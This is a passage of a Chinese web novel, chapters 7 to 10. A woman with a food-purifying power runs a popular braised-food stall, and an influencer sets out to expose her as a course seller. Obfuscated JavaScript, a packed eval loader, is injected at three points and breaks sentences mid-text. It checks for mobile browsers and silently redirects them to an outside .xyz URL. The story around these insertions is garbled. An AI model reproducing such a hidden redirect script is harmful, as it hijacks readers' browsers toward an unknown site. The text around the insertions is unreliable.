“啧，这看着也不像是起号的啊？难不成是要打广告卖课？” 行业冥灯【别逗了，新人摆地摊还备两百块钱货？】 行业冥灯【备个一百来块都不一定能卖完，还吹自己一个小时就收摊？】 秋秋人（地摊卤味版）【emmm，但是我说的是真的呀，刚刚才清点完账单，今天卖了一千二】 手机屏幕上的白色冷光反射到杨东旭脸上，他不屑得嗤笑一声，手里的打字速度也是越发快起来。 行业冥灯【哦？你是说你是个第一次出摊就迅速卖完然后毛利率还高达百分之八十几的成功摊主吗？】 行业冥灯【说谎话真是不打草稿，什么数据也敢瞎胡编。评论区里的朋友也小心别上当，这人八成是打算卖课，这个品类要做到这种毛利率，但凡对餐饮业有点了解的就知道不可能。】 网线另一端，做完厨具清洁的宋晚秋半躺地歇息在柔软的小床上，腰部背后是开着红外加热，不断滚动的按摩仪。 乌发浓密如瀑，轻搭在枕头上，她灵动的双眸转了转，内心也有些不好意思。 她自然不是卖课的，但也绝对没有数据造假。 宋晚秋回家刷完餐具后的第一件大事，就是打开自己的支付宝和微信开始盘算收入。 今天只有两单用的现金，三份加起来一共是一千二百四十三元，综合算下来毛利率的确是高得不行。 但问题不是出在卖价，而是进货价。 新鲜食材和已经无法正常使用的蔬菜瓜果中间，还有一些地位极其尴尬的特价菜品。 它们往往因为自己已经不再处于最佳赏味期而无法维持自己原有的身价。 对于菜场贩子，超市经营者来说，如何迅速处理掉这些食材反而是件更为头疼的事情。 直接扔掉，那本就不断上升的损耗率将更难被把控。 即便特价处理，那这不知多久能被卖出的积压库存也将增加库存压力和仓储成本。 这些年蔫巴的西蓝花，摸起来略有些干瘪的土豆，在被宋晚秋买回家后重新有了青春再回首的机会。 从干瘪到饱满，宋晚秋识海中的提纯粒子在这些天的练习下也运用得更加娴熟。 再从饱满再到土豆内部的精华凝练，二次再加工也让廉价倾销的食材获得了秒杀大超市里标榜绿色有机的精品同类的机会。 只是... 宋晚秋吐了吐舌，虽说无商不奸，但买特价食材来摆摊总让她有些藏不住的心虚。 她指尖轻动，手机键盘音效不断响动，在回复完几位互关网友的关心后，打开了行业冥灯的个人主页，点开了私信界面。 秋秋人（地摊卤味版）【hello冥灯哥，我这边确实没有骗人呢，这个是我今天的出摊账单记录，每一笔都是真实的。（支付宝账单截图.jpg 微信账单截图.jpg）】 宋晚秋低头看着手机，等待着对面的回复。 她知道，虽然【行业冥灯】今天在评论区里一直找茬，但他并不是抱着恶意来质疑攻击。 虽然自己因为从金舌头哪里拿到了赔偿大礼包毅然决然要做卤味，但作为局外人的【行业冥灯】，之前却也是真心诚意地给她提建议，选择其他品类出摊的。 正因是来自于陌生网友的善意，这份好心提醒才显得更加弥足珍贵。 杨东旭看了私信，点开截图后仔细看了看数字，心中越发冒火。 行业冥灯【你的意思是你卖的卤味直接客单价均价在三十左右？】 行业冥灯【看你今天发文的主图压根也没有什么高价食材，你是想说你靠菜单里一块钱一串的金针菇买到均价三十？】 行业冥灯【你们这些打广告卖配方加盟的真是无所不用其极，也就打着高利润去骗那些啥也不懂的小白，不过打广告起号前还去专门买个真实生活号也是挺聪明的】 宋晚秋欲哭无泪，甚至有些想抓头发了，怎么越发解释不通了呢... 她长长的叹了口气，伸手打出一段话做最后回复，随后直接按下息屏键，把手机丢到一边拉过被子准备早早睡觉。 秋秋人（地摊卤味版）【冥灯哥，这个是我的出摊地址：H市上江区繁华里小区后门，名字就是宋记卤味。我看您IP ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋记卤味摊位前，一个个食客自觉排起队，宋晚秋甚至无需再次强调，这才开了第二天的卤味食客们都自行拥有了就餐规则意识，从容不迫地五人结组交替点菜。 宋晚秋放下手中的漏勺，将它别在卤汤锅内特意设置的小挂钩上。 忙碌的她粗略向后看去，一打眼生面孔倒是不多见，排在前面的看着大多有些眼熟，应该是昨天刚来消费过。 “老板！你今天备了多少货！” 耳边传来小姑娘清脆的声音，宋晚秋抬了抬头，原来是陈邱莉。 “我今天特地借着跑外勤的机会提前回来了！老板，我这会去后面排队肯定有我的份吧！”陈邱莉满眼冒光，期待地问道。 宋晚秋看了看陈邱莉的脸，发问的表情既激动又紧张，额头上因为匆匆忙忙跑回来的汗珠也还没来得及擦去。 她忍不住笑了笑，宽慰道：“放心吧，排到你肯定能吃上。” 宋晚秋又开口道：“我今天可是比昨天多备了一倍的货呢，你就放宽心吧。” 随着提纯粒子的不断使用，宋晚秋识海内的精神力回复也越来越快，不断提升效率，增大精神识海。 也正因如此，她今日将四百多块购入的重新改头换面时，也没有出现力竭的情况。 宋晚秋从锅里捞出菜品，拌料后打包，老顾客们一个个更是敞开肚子选菜，似乎要把本就不低的平均客单价再拉上一个台阶。 即将做完这一批的五份菜品，宋晚秋抽出挑菜纸筒，提前递给下一列的五个人。 还未抬头，她就听到了几声低沉的苍老声音。 “可算是找着你了！” 8.第 8 章 宋晚秋看向摊位前，一双眼睛里满是迷惑和不解。 写着店铺招牌名的米白色布料前，站着一位穿着褂子的老大爷和两个打扮得漂漂亮亮的老奶奶。 三人的头发基本都已花白，但身子看着也还算健壮，老大爷握着松木拐杖的右手刚健有力，这木杖瞧着也不像是为了让他省力走动的。 只是，他们找我做什么？ 宋晚秋被闹了个一头雾水，这几位老人她压根不认识，只是看面相又有一些眼熟，但不管怎么回想，又始终想不起来。 “上周闻到的就是这个味吧？” 穿着红色针织毛衣的许老太用胳膊肘轻轻推了下旁边带着蝴蝶纱巾做围脖的胡老太，耳朵虽然直立立竖着，可眼神却止不住地往旁边的郑大爷看去。 微风吹过，将纱巾从后背蹭到左肩，胡老太伸出手，重新扎了个严实，顺便把纱巾上的类似花边给捋顺，回应道。 “指定没错，这味我上次回家都想了好久了，就是这个香味，忘不了！” 外套漳缎祥云纹大褂的郑大爷左手向前接过纸筒，右手则拄着拐杖向前探步，扭头对着许老太说道。 “放心吧，就是他家。” 郑大爷熟练地从不锈钢盘里挑着菜，特地把金针菇挑了出去。这东西好吃是好吃，不过他昨天吃着的时候老是容易塞牙。 “我儿子都跟我说了嘛，小区车库正门，小吃街街尾宋记卤味，除了这家还有哪家？” 郑大爷眯着眼睛，举起夹子盯着盘里的菜，他一向仔细，生怕比别人多吃了一点亏。这会检查着自己挑的土豆片，就怕吃了亏比别人买到的要小一号。 不过这会儿郑大爷却没得挑剔，宋晚秋的穿串讲究公平，大大小小都均匀分布在各个竹签上，品质个个饱满，让人想挑也没得个挑法。 这一帮人选完菜，双眼紧紧盯着卤锅里不断冒出的泡泡。像是在做什么重大情报侦查工作，许老太鼻子不断轻嗅辨认，脸上的犹豫迟疑也变得更加坚定。 “是没错。” 许老太点了点头。 宋晚秋接过他们手上的现金，把零碎的硬币单独放在桌下的小抽屉里，脸上的疑惑却丝毫没有减少。 许老太看着面前这个年纪轻轻的小姑娘，虽然带着口罩但眉宇之间的困惑都已经藏不住了，这才反应过来开口道。 “咱们这几个应该都是你同栋楼或者隔壁楼的邻居，自打你上周在家做卤味的时候那味道可就飘下来了，把我们一个个都香得不得了。” 许老太兴奋地说道，身上鲜艳的针织毛衣却也比不上她脸上的光彩照人。 “好几个被香得到晚上回家了都还想着那个味呢！”许老太回想起那几天的折磨，又忍不住咽了咽口水。 一个个的回了家，也被那香气馋得不得了，大晚上都睡不好觉。可要是在外面多闻闻，不停轰鸣的肚子也是要宣告抗议的。 胡老太眼见着自己那份就快出锅，连忙大声叮嘱道：“小姑娘，我那位辣椒多放点呢，我吃得了！” 眼见宋晚秋再多打了两勺辣子，胡老太才止住眼神，回应道。 “那可不，还是老郑有福气，要不是他儿子昨天买了卤菜，咱们啥时候才能找到这家店呢？” 三份菜品打包完毕，宋晚秋这才恍然大悟。 敢情，还是自己之前在家熬汤弄出的受害者？ 同是邻里情，宋晚秋眉眼微弯，笑着冲他们说道：“请慢用，也谢谢各位邻居来给我捧场，味道需要调整的话后面都可以跟我说。” 郑大爷三人迫不及待地拿过打包袋走回小区，两位老太太都回了家，只有郑大爷换了方向分道扬镳，朝着小广场中间的休闲座椅区走去。 “嘿！邓老头！”郑大爷瞧见人，脚步也是越发快了，“瞅瞅我给你带啥了？” 花岗石刻的桌面上，楚河汉界清晰可见。因为使用频率较久，棋盘格上面原本有些尖锐的棱角都变得圆润起来。 此时放在桌面上的，并不是木质的象棋棋子，而是一摞窄长的还没洗牌的扑克牌。 “瞎嚷嚷个什么劲？来这么晚也不知道跑哪里潇洒去了，等你打个牌真是半天不得来。” 桌边的圆柱石凳上，邓大爷忍不住打了个哈欠，又冲着面前另一个老头开口道，“行了，洗牌吧，姓郑的懒驴上磨屎尿多，打个牌啰嗦得烦。” 郑大爷走来，正好听到邓大爷又趁着自己不在搁这编排自己，立马挥出手中的硬挺的松木拐杖，打算给老对手来上一杵。 还没落下，就被早已有察觉的邓大爷向左闪避躲过。 他也不再发动攻击，迈开步子向前，把手里打上结的卤味包装盒放在了桌面上。 “这啥？” 邓大爷不解地看向他，包装袋一下子占据桌面一角，让对面洗牌的动作都被耽搁得停了下来。 “带你吃点好东西，给你这乡巴佬开开眼界。” 郑大爷坐了过来，眼里的得意怎么也藏不住。 邓大爷不屑回望道：“你吃饱了没事干是吧，大伙晚饭都吃完了，这会儿还吃个啥。” 郑大爷闻言也不再多言语，他自打昨天吃到儿子从小吃街买回来的宋记卤味，那股激动劲一直持续到早上。 家里的儿媳孙子尝到味后也是大加赞叹，只是吃完那一盘子后又有些埋怨儿子怎么卖得那么少。 儿子也是有苦说不出，谁让他昨天排到最后就剩一点七零八碎的尾货打包了。 就这他也有话说，那排后面的还有一大串没买上的呢！ 一家人虽是尝到味了，可怎么也没吃过瘾，反而更加牵肠挂肚，只能约定着明天一定早些去多买点。 郑大爷上桌吃到第一口时就知道，这味道就是之前在楼下打牌时闻到的那家人做的，连忙跟儿子大厅打听位置。 躺在床上入睡时，郑大爷满心欢喜，明天可不得在那群家伙面前嘚瑟下，最后还是他有实力，能最快找到那家卤菜店，要是靠他们，不得等到猴年马月去。 第二天一早，还没等他把自己终于找到那家卤菜店的事昭告完整个老年社区活动中心，这姓邓的就跑出来跟他唱反调，说他年纪大了味觉也下去了，随便买个卤味还以为自己买到正版了呢。 宣传了一天下来效果甚微，也就许老太和胡老太这两个他交谊舞搭配时间最长的舞伴愿意赏脸跟他一块去买卤菜验证一下。 这会东西到手，加上刚刚在摊子前闻到的那股跟之前一模一样的香味再次佐证，郑大爷神色昂扬，满是说不住的骄傲劲。 “哼，你好好闻闻呢？” 郑大爷解开盒子上被封住的包装袋，掀开盖子做好准备看邓大爷傻眼的表情。 石凳上，原本不屑一顾的邓大爷突然闻到一股熟悉又陌生的卤香。 熟悉，是因为经常梦里相见。 陌生，则是因为相见不相识。 他低下头看了看碗里的卤菜，还没等郑大爷再开口就自己先抽出了双一次性筷子，夹了一块藕片就往嘴里送去。 好奇怪的味道？ 邓大爷沉默地咀嚼起来，为什么说这味道奇怪，不是它不好吃，而是他从来没想到这么两种口味也能这样直接混杂在一起。 卤味独有的卤香和香气扑鼻的红油辣椒，给这份热卤带来了浓油赤酱的醇厚香辣。 可是细细咬去，这藕片口感却相当脆爽，甚至还有一股不易察觉的清甜在口腔弥散，原本残存的厚重都被这股清香抚去，二者看似截然不同，却又得到了很好的融合。 “怎么样？这味道你可没吃过吧。” 郑大爷乐呵呵炫耀道，他昨晚吃到嘴就发现了，虽然这卤香是不俗，但宋记卤味的摊子上最出众的反而是这食材。 他活了这么大岁数，什么好东西没吃过？ 可这卤菜里，这么好品质的菜倒是真没尝过。 更别提这平价的价格，一向节俭简朴的他也不吝啬，挑菜时买了满满一大盆，付完钱只觉得还是自己赚头更大。 邓大爷不再回话，手上的筷子一点没停，好菜好肉通通往嘴里塞，主打一手时间差。 郑大爷紧等慢等，却迟迟没有听到自个儿老对头的反驳，再一看去，这邓老头不讲武德，居然不声不响抢上食了。 他急忙把刚刚取下的包装盖子拿出，快速伸手立刻拖动邓大爷面前地一盒卤味，以迅雷不及掩耳之势盖上顶盖。 “收这么快做啥？” 邓大爷满脸不满，他这才刚刚吃出点滋味，这姓郑的就着急忙慌收桌子了。 郑大爷这才得意哼哼，算是给自个儿上午的失利扳回一局。 “这是我花钱买的，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘玲一听也有些好奇，她今天出门有些赶，急冲冲洗漱完就下楼了，也没来得及找找镜子。 她从桌子下的木纹抽屉里找了找，拿出一个之前备着的小圆镜，打开看了看，自个儿也有些惊讶，今天看起来还真是格外美丽。 镜面上，刘玲脸颊上原本若隐若现的痘印斑点几乎快要完全消失，两颊看起来白皙嫩滑，像是出门前涂了一层素颜霜，可靠近看看，却又找不到一点粉感。 难道，是前提买的睡眠面膜的作用？ 那小瓶鱼子酱面膜可是花了大价钱，也是前些天老公的一个项目奖金发下来后特意给她准备的惊喜。 可刘玲转头又想起来，昨晚上由于事情耽搁，她的睡眠面膜还没抹到脸上就放回去了！ 真要说不同，难道是昨天那份卤菜？除了这个生活里也没什么多的变数。 刘玲有些不敢置信，但昨天丹丹买回来的卤味的确是让人感到有些不对劲。 平日里若是做菜，中辣的辣度别说她老公，就是她本人吃了肚子也会有些不舒服。 可昨天那一顿吃完，两人的肠胃依然健康，没有任何罢工反抗。 反而在卤菜下咽进肚后，小腹中间有轻微的热流感，肠胃更加舒适了。 被这个困惑牵肠挂肚一整天，刘玲今天一下班就急匆匆赶回家，不敢有半点耽搁，只想着今天再买一份验证下自己的想法。 这会排队的队伍虽然长，但好在宋晚秋加工频率快，不过二十来分钟，就已经轮到刘玲。 虽然好奇，但刘玲依然没有降低自己的警惕心理。 她扫了一眼大概摊位，如释重负。 这老板年纪轻轻，整体的卫生意识都不错。头发都是扎上的，口罩也有佩戴，这煮汤的不锈钢锅也是被擦得亮亮的，丝毫看不到什么陈年老垢的岁月痕迹，这基本的卫生倒是没什么问题。 她小心地挑着菜，身后的客人倒是突然跟摊主吵了起来。 “凭什么不让我买啊？老人家就不能多买点？是不是你这卤味品质有啥问题才不敢让我买？” 刘玲向左看去，边上这位老大爷挑了足足三四个纸筒，不像是买菜，倒像是抄家。 9.第 9 章 宋记卤味摊子上的菜价虽然不贵，但这么几大筒下去，价格怕是也止不住。 刘玲半瞄着扫了一眼，这人装菜的方式跟修房子似的，一串串卤菜像是木头一样被层层垒起，纸筒被塞得严丝合缝，仿佛在做什么力学测算。 排在后面的正是邓大爷，他方才刚刚过了个嘴瘾，那老伙计就赶忙带着那盒卤味逃回自己家，连累得他被勾起了馋瘾，立刻顺着上午打探的地点赶来了。 好在今天宋晚秋的备货不少，郑大爷他们仨更是早早就买上了，否则这会儿赶过来排上队的邓大爷还未必能赶上当。 昨天运气好买上第一次出摊的宋记卤味的客人们今天来得比谁都早。 那些落在后半程，光闻了一肚子香气却一口没吃着的就更别提了，今天还没出摊时，昨天宋记卤味的铺子前就已经有不少人开始踩点排上队了。 陈邱莉今天上班可是使上了孙子兵法三十六计，先是提前两小时完成工作，又是下班前不带包，给电脑设置个自动定时关机跑到厕所，就为了打完下班卡就迅速偷偷溜回来，一路上蓝色的共享单车都快给蹬成风火轮。 离出摊才刚过半小时，宋晚秋已经把保温桶里最后的库存卤菜都放在台面上了。 邓大爷年龄虽然大了，可眼睛却实在好使，一瞅见前头摊位快要没库存了，轮到自己就立刻开始“囤货”了。 邓大爷佯装吹胡子瞪眼，色厉内茬继续道：“我一个人吃怎么啦？你这卤味没问题那我当然爱买多少买多少，全当我乐意！” 他皱眉扫了扫身后，队伍依然大排长龙。 “你这小姑娘真是一点都不会做生意，再说了，我早点买了你不也早点卖完收摊嘛。” 刘玲站在他身侧，一听这话也不乐意了。 “哪有你这么说话的，这要是人人都这么买，后面的人还怎么吃上个卤菜？有你这么自私的吗！” “再说了，你这人说话也忒难听了，不卖给你就说人家菜有问题，我看你脑子才有问题呢！” 刘玲向来风风火火，说话做事雷厉风行，看起来秀气文弱的外表，一旦开口气势便压了上来。 话虽然难听，可邓大爷眼瞅着刘玲的气势，也不敢反驳。 宋晚秋接过刘玲手上的卤菜，开口解释道：“大爷，咱们这确实没什么限购的说话。” 听到这话，邓大爷双眼一亮，原本佝偻着的背都忍不住挺立起来。 只是他还没高兴多久，便听见宋晚秋接着说道。 “可凡事总归有个度，您这拿的量，不知道的还以为要开宴席呢。大家都是街坊邻居的，这要是每个人都这样来，那我这摊子卖不了三五个人就直接收摊了，换位思考，今天要是您排在后边了，恐怕心里也不好受吧。” 宋晚秋依然微笑着，可笑容里却带着力度，“更何况您拿了这么多，一次吃不了不也就浪费了嘛。虽说现在天气没那么热了，可这些菜也经不起久放，咱们适量的买，也是为自己身体着想呀。” 邓大爷梗着脖子红脸道：“我想买多少买多少，这是我的自由，你要怎么着！我就是买回去放臭了跟你也没关系，大不了我加点钱就是了，双倍行不行！。” 宋晚秋看着邓大爷的眼睛，并没有因为他的话语而被激怒，只是平静回应，但语气却是不可置否的坚定：“当然可以。” “但是我也有不卖给您的权力。” “我也不需要您加钱，我这里只接受正常购买的顾客，如果您是的确有需要，想要购买这么多那么您随意，但如果是恶意购买并且浪费，我也有我的自由选择不卖给您。” 邓大爷被臊得尴尬，也不好继续回话，要往常这样被两个年纪轻的姑娘家说几句，以他的气性肯定要因为丢了面子直接弃菜而去了。 不卖就不卖，有什么了不起的！ 此处不留爷，自有留爷处！ 可换成宋记的卤菜... 他就是丢了面子，也只好沉默地等下去。 邓大爷素来口味清淡，便是逢年过节家里人带了卤菜装盘也是不爱动的，更别提这挂着辣椒油的地道热卤。 可在那小广场坐着的时候，嘴里吃着老郑买的卤味，往日里疲惫的身子都略微重振了精神。 更别说他最近半月食欲下降，饭桌上常常吃了小半碗米就下桌，难得对食物有了那般强烈的渴望。 邓大爷不再多言语，只叫宋老板给他捡出其中一份，不放辣椒直接拌匀。 虽然就一份，可这出锅时却也是满满当当，一个最大号的盒子险些装不下。 “眼大肚皮小！” 刘玲付完款后并未走远，声音毫不避讳，邓大爷听到也不敢接着争辩，只是走回小区的速度更急了些。 刘玲转过头，手中拎着打包好的卤菜却没急着走，反正今天老公下班晚，离吃饭还早着呢。 她细细地盯着摊位上不断出餐的宋晚秋，乌黑浓密的长发被盘在头上，身上并没有什么多余的配饰。带着口罩的上半张脸看着白皙滑嫩，接过卤菜时一不小心滴落的汤汁被她迅速用一块干净的抹布擦去。 刘玲悄悄地走进，像做贼似的低声同宋老板说起话来，声音不敢被第二人听见。 “小老板，你家的菜是不是有美容养颜的功效啊？” 宋晚秋处理菜品的手一顿，但下一刻又恢复了自然，继续煮着锅里的卤菜。 “嗯？这话怎么说？” 刘玲依然小声开口道：“是不是商业机密？我昨天吃了后，今天起床脸上的黄褐斑都淡了不少，我女儿中午也跟我说，她脸上的青春痘都没了。” 她声音愈发低沉，小心翼翼道：“小老板，您这卤菜里是不是加了激素啊？” 感觉也不像啊，这一串一块钱的价格怕是回不了加激素的本钱。 但这会，刘玲心中的疑惑却更深了，这小老板难不成真是做慈善的？就这种品质的食材照着价格卖那不是卖一串亏一串。 她昨个听了丹丹的话，却也没全信，只以为自家女儿是偷偷用了私房钱填补，不敢把原价告诉她，才说了个这么便宜的低价。 可今天来看，这味道这品质，搭配上这价格实在是便宜得过分。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14904288|159122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宋晚秋听得满头问号，无奈道：“怎么可能加激素啊！再说了，哪有那么神奇，立竿见影的激素，就是食材比较好，大家吃得健康，吃得开心，自然皮肤就好了。” 宋晚秋熟练地打包完菜品，把收款码向面前的客人推了一下，转头回答道：“您就放心吃吧，不信的话带着菜去做检验都成，我的卤菜里保准没有您说的那些有的没得。” 刘玲点了点头，心想：小老板家的菜这么好吃，的确也不像是加了激素的样子。 不过，就算是真加了激素，她也宁愿吃！ 她脸上的黄褐斑用了多少缩衣节食攒下来的贵妇护肤品都没有效淡化，更别说去美容院下狠心花重金的超声刀、热玛吉的痛苦。 她这一问，纯粹是想着万一菜里真有点不对劲的，亦或者特殊品种的食材，那就能正大光明不让丹丹吃了。 王若丹还小，在长身体，吃了这些难免对身体有坏处。 至于她，那就不一样了。 让暴风雨来得更猛烈些吧！ 她顶得住！ 宋晚秋处理着菜品，东西所剩不多了，她抬起头，向摊位后面的人群大声说道。 “今天菜品快卖完啦！往后数二十个之后的可以不用排啦！” 人群中又是一阵叹息声涌来，一拥而散。 只是队伍中，也有人没有轻易离去。排在二十一名的固执地想看看能不能有个捡漏的机会，二十二也决定再坚守一会，第二十三名更是抱着赌一赌搏一搏的心态。 今天备的货已经是宋晚秋如今的极限，依然是出摊没到一个小时就快要准备打道回府了。 宋晚秋整理着汤锅里装着不同菜品的漏勺，仔细观察着火候。 方才那位客人的话不是没进她的心，她自己这些天来吃到的由提纯异能做出来的食物比任何人都多。 状态越发好的肌肤，疲累逐渐减少的肩颈，甚至还有度数越发下降的视力。 从金舌头0818那里争取到的高维世界赔偿礼包，远远不止让她拯救味觉那么简单。 但是，这又有什么不好呢？ 宋晚秋握住漏勺，微微一抖，过多的卤汁溢落在锅中。 能尝到美味的食客不止一个，能察觉到其中好处的聪明人也不会是少数。 宋晚秋的手腕微微翻转，漏勺中复热的卤菜整整齐齐落入碗中。 她知道，日后的黄牛或许会层出不穷，也一定会有许多人想将这些被提炼精华后的食物占为己有。 一份份满满当当散发着香气的打包盒被送入顾客的手中，口罩之下，宋晚秋的微笑着的嘴角却从来没有落下。 但不是只有有钱人才能吃上高品质的食物。 而穷人便只能点着拼好饭，看着舆论的恶意嘲讽。 高维世界的补偿是一份独有的礼物，但它的回馈名单从来没有被局限给某些特定的人。 高高在上的富人，亦或是行走在人世间，碌碌平凡的无产者。 在四季更替，五谷轮回之下。 众生平等，万物共享。 10.第 10 章 S市，市中心的高层公寓内。 夜间模式下的小地瓜页面泛着微弱的光，搁着手机屏幕映在杨东旭的脸上。 聊天界面里，ID为秋秋人的账号说话语气已经足够礼貌，但对于怒上心头的杨东旭来说，这最后的留言跟挑衅没区别。 经济环境下行，如今最赚钱的生意从来不在行业里，而在于那些宣称着教你赚钱的卖课教程中。 越来越多原本就囊中羞涩的普通人在看到这些被包装出来日进斗金的网络形象，更会忍不住交上学费，被这些恶狠狠的镰刀收割一茬又一茬。 一年前那家倒闭的火锅店也是杨东旭交上的学费之一。 一个个打着创始人IP的团队，通过华丽的包装和遮掩的数据将观看者拉入他们的推销业务之中，给人编织起美梦来掏空腰包。 用时仅一个月就倒闭的川派火锅店成为他的那群“黑粉”不断耻笑的新梗，但即便如此，依然有不少粉丝给他私信投稿，分享自己被骗入的餐饮骗局。 卖课、加盟、培训，各类名目层出不穷。 不管【旭日东升】在视频末尾强调过多少次，陷阱砸到头上时，普通人仍旧争先恐后地步入。 杨东旭恶狠狠地盯着聊天页面，H市上江区繁华里是吧？ 给我等着！ 他点开12306购票页面，立刻买了第二天的高铁票。 这里离H市的距离不算太远，车程一共2小时，因而动作堪称迅速。 杨东旭付完商务座车票钱，随即返回应用程序，在自己大号下面发了一条动态。 旭日东升： 【兄弟们，明天临时直播个户外，给那些最近还在因为餐饮加盟卖课被骗的大伙们紧紧弦，直接现场出击打假！ 旭子在这也奉劝大家不要再上这种当了，挽回一点是一点，都是自己辛苦打工挣的血汗钱，不要白白拿去打水漂了。 一键预约直播间，明天下午五点准时开播。】 跟着旭哥混三天饿九顿【前排！】 水作云州【活久见，夕阳哥也有不鸽直播的时候】 爱生活爱旭哥【旭哥最近股市怎么看？买军工还是走畜牧？给个建议呗，我年底的小米首付就靠你了！】 嘉润polo回复@爱生活爱旭哥【兄弟，你还敢听旭哥的建议啊？小心车轮子都给你赔进去了】 爱生活爱旭哥回复@嘉润polo【谢了哥们，不过你放心，我肯定跟旭哥反着买。我本金就一万，只要旭哥稳定发挥，年底直接全款买车不成问题！】 喔喔奶茶加盟商还我血汗钱【支持旭哥！正义执行！】 ...... 第二天中午，杨东旭上网冲浪熬了个大夜，十一点多才从床上醒来。 他随意从衣柜里抽出一件大号的宽松短袖白T，又带上个厚外套，揣上手机车钥匙就挎着包出门了。 临时播户外，加上今天的主要目的其实是打假，以杨东旭对这类骗子的了解，要不了半小时对面就能原形毕露。 播完还能去找个种草好久的湘菜馆吃个晚饭，做下吃播一下子又把这个月欠下的直播时长给补上一大截。 高速又平稳的高铁运行到目标地点，仰躺着的杨旭峰摘下眼罩，从随行包里拿出手持随身相机和充电宝，将硬件设备先准备完毕。 出了车站坐上专车，【旭日东升】的直播间也开了起来，直播间标题赫然写着：现场打假，警惕卤菜授课骗局。 “师傅，您平常爱吃卤味不？” 杨旭峰右手拿着便携相机，左手扯过副驾驶的安全带系好。自拍镜头谨慎地对着自己的正脸，没让师傅出镜。 【您已接到尾号1868乘客，本次行程目标地点为繁华里，预计行驶26分钟】 “吃啊，咋不吃！” 司机师傅看起来三四十岁，熟练地转动方向盘，车辆绕了个大弯，才从车站内的网约车乘车点驶出。 “我一般就吃楼下卖的烧腊，偶尔剁点猪头肉、猪耳朵下酒。我老婆嘛爱买凉菜吃，我儿子就爱吃那种鸭脖鸭翅膀的。”司机话音一顿，向左看了看车况，娴熟地打了转向灯变道。 “不过，前段时间不是上新闻了嘛，那几家卖鸭脖子的查出来大肠杆菌超标，我们现在都不准他吃了。” “诶，小伙子，你这是在录什么视频哦？拍那个微老哥儿吗？” 司机师傅也没大看清画面，只瞧见杨东旭手上的设备倒是十分专业，好奇地用H市地道方言询问。 “对对对，就是拍个VLOG记录生活。” 杨东旭说谎话不打草稿。 不过他一向在播户外跟人聊天时就不爱跟直播间的观众互动，更何况这直播录像后期再处理下也能做个视频混个更新，他这话也不算是完全骗人。 “师傅，我这次专门从S市过来就是听说咱们这有个卖卤味的特别出名，想过来尝尝鲜。” 杨旭东笑道。 这出的究竟是好名还是坏名，那可就说不准了。 “啧，你们这些年轻的才真是有钱没地儿烧哦，跑这么老远就来吃个卤味。” 司机师傅听了也是格外惊讶，出言道：“我可没听说过H市有啥特别出名的卤味，平常不都是将就吃嘛。” 【提前放置避雷针】 【开局三分钟结局已定】 【H市本地人出来说一句，这司机大哥说得没错，我们这边烧肉和麻花挺出名，没听说过哪有啥特别厉害的卤味牌子】 【要不旭哥说是骗子呢】 【就这骗术也能骗到人？】 【这也是筛选的一部分，不把聪明的筛出去，哪有傻子来交学费】 【但凡了解过H市的餐饮环境，就没傻子会来上这个当。那些啥也不知道就一股脑冲着过来的，不白白拜师加盟一条龙那才怪了。】 司机师傅的车速不慢，一路又正好赶上了绿波时段一路畅行。 上车还没到二十分钟，杨东旭就提前到了地点。 “小伙子，我估计你肯定是看了网上的营销视频上当了，那些视频都是夸张宣传。这边真不像是有啥好卤味店的样子。” 他语重心长地看向杨东旭，建议道：“你一会不行还是去超然楼里吃吧，那里头的大刀烧肉还算地道，你们外地人去吃不至于踩雷。” 司机师傅目送杨东旭关上车门，出于自个儿的热心肠和不想让外地游客给H市留下糟糕印象，他还是好心出言提醒。 超然楼好啊，虽然卖的菜比外面贵一倍，但起码吃着也是H市的地道味，没给文旅宣传抹黑。 也不知道哪个龟孙搁网上打广告吹牛吹破天，把人大小伙忽悠来H市吃卤菜，就这还是个普通住宅区！ 不怕把人给忽悠瘸了！ 杨东旭下了车，按动手上的云台手柄按钮把镜333头翻转过来，对着眼前的位置上下左右分别横扫了一圈。 “兄弟们，到地点了啊！一会咱们就直接杀过去，看看对面葫芦里卖的什么药。” 【现在骗子是不是也不好做了，就这？就这？】 【我记得流程不这样啊，不得先把人拉去写字楼看看案例资料，然后特色景点一日游，哪有刚上门就看实体店的】 【依稀记得之前被一个J市的麻辣烫加盟公司拉过去考察过，那叫一个爽，刚下机场车接车送，又是看景点又是吃大餐，最后临走还拎了两件茶叶和一盒工艺品】 【那你交钱了吗】 【必然没有，老子就是奔着那几顿招待餐去的】 【前面那哥们，说不定你花的就是我的钱。我前年就是这么被骗去的，看了他们样板间和店面，直接被那业务经理洗脑当场交了十二万八的加盟费...】 【招待费呢？俺们的招待费都到哪里去了！】 【降本增效减没了】 “今天这个据旭子目测，不大像招商加盟的，属于是餐饮授课的那一批，而且一看就是主打骗人摆摊创业流。” 他接着说道：“不过万变不离其宗，咱们今天这个案例说到底跟加盟也差不了多少，都是收割，一个割得多一个割得少罢了，都得警惕啊！” 杨东旭用手机看了看弹幕，不再跟他们闲聊，反正这帮“黑粉”平常也聊得嗨，真跟他们说上话又要拿他的火锅店一月破产故事来取笑了。 不过，这地儿确实不咋地啊。 他好阵子没跟这些餐饮卖课的硬碰硬，怎么现在都走这么个路线了。 